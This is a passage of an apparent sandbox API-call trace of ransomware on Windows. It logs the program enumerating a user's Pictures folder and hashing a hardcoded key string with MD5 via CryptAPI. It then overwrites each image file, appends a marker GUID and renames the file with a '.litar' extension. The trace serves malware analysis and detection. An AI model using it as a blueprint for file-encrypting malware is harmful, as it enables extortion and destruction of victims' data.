dwReserved1=0x0, cFileName="XHt9VP7ib.gif", cAlternateFileName="XHT9VP~1.GIF")) returned 1 [0126.196] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.196] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.196] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.196] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OSKgyoas7znhFe\\XHt9VP7ib.gif") returned=".gif" [0126.196] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OSKgyoas7znhFe\\XHt9VP7ib.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\oskgyoas7znhfe\\xht9vp7ib.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.196] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=29199) returned 1 [0126.197] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.198] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x71e9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.198] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.200] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.200] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.200] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.200] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x720f, lpOverlapped=0x0) returned 1 [0126.200] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.201] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.201] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.201] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.201] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.201] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.201] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.201] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.201] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.201] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.201] GetLastError () returned 0x0 [0126.202] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.202] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.202] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.202] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7210) returned 0x30fa0b0 [0126.202] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.202] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.202] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x720a, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x720a, lpOverlapped=0x0) returned 1 [0126.202] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.202] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x720f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.202] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.202] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.202] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.202] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.202] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.202] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.202] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.202] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.202] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.203] CloseHandle (hObject=0x624) returned 1 [0126.203] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0126.203] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.203] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0126.203] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OSKgyoas7znhFe\\XHt9VP7ib.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\oskgyoas7znhfe\\xht9vp7ib.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OSKgyoas7znhFe\\XHt9VP7ib.gif.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\oskgyoas7znhfe\\xht9vp7ib.gif.litar")) returned 1 [0126.204] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.204] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.205] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.205] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11687930, ftCreationTime.dwHighDateTime=0x1d4ce97, ftLastAccessTime.dwLowDateTime=0x198a53a0, ftLastAccessTime.dwHighDateTime=0x1d4cbb2, ftLastWriteTime.dwLowDateTime=0x198a53a0, ftLastWriteTime.dwHighDateTime=0x1d4cbb2, nFileSizeHigh=0x0, nFileSizeLow=0xdc44, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_iolZcQAgtC1ACM.png", cAlternateFileName="_IOLZC~1.PNG")) returned 1 [0126.205] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.205] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.205] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.205] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OSKgyoas7znhFe\\_iolZcQAgtC1ACM.png") returned=".png" [0126.205] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OSKgyoas7znhFe\\_iolZcQAgtC1ACM.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\oskgyoas7znhfe\\_iolzcqagtc1acm.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.205] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=56388) returned 1 [0126.205] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.207] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xdc1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.207] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.211] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.211] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.211] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.211] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xdc44, lpOverlapped=0x0) returned 1 [0126.212] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.212] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.212] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.212] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.212] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.213] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.213] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.213] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.213] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.213] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.213] GetLastError () returned 0x0 [0126.213] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.213] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.213] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.213] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xdc40) returned 0x30fa0b0 [0126.214] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.214] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.214] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xdc3f, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xdc3f, lpOverlapped=0x0) returned 1 [0126.214] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.214] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xdc44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.214] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.214] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.214] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.214] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.214] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.214] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.214] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.214] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.214] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.214] CloseHandle (hObject=0x624) returned 1 [0126.215] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bce70 [0126.215] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.215] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bce70 | out: hHeap=0x5c0000) returned 1 [0126.215] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OSKgyoas7znhFe\\_iolZcQAgtC1ACM.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\oskgyoas7znhfe\\_iolzcqagtc1acm.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OSKgyoas7znhFe\\_iolZcQAgtC1ACM.png.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\oskgyoas7znhfe\\_iolzcqagtc1acm.png.litar")) returned 1 [0126.216] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.216] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.217] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.217] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11687930, ftCreationTime.dwHighDateTime=0x1d4ce97, ftLastAccessTime.dwLowDateTime=0x198a53a0, ftLastAccessTime.dwHighDateTime=0x1d4cbb2, ftLastWriteTime.dwLowDateTime=0x198a53a0, ftLastWriteTime.dwHighDateTime=0x1d4cbb2, nFileSizeHigh=0x0, nFileSizeLow=0xdc44, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_iolZcQAgtC1ACM.png", cAlternateFileName="_IOLZC~1.PNG")) returned 0 [0126.217] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0126.217] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0126.217] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084120 | out: hHeap=0x5c0000) returned 1 [0126.217] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0126.217] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084120 [0126.217] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0126.217] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.217] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.217] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.217] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.217] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.217] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.217] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.217] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.217] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.217] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.217] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.217] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.217] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, 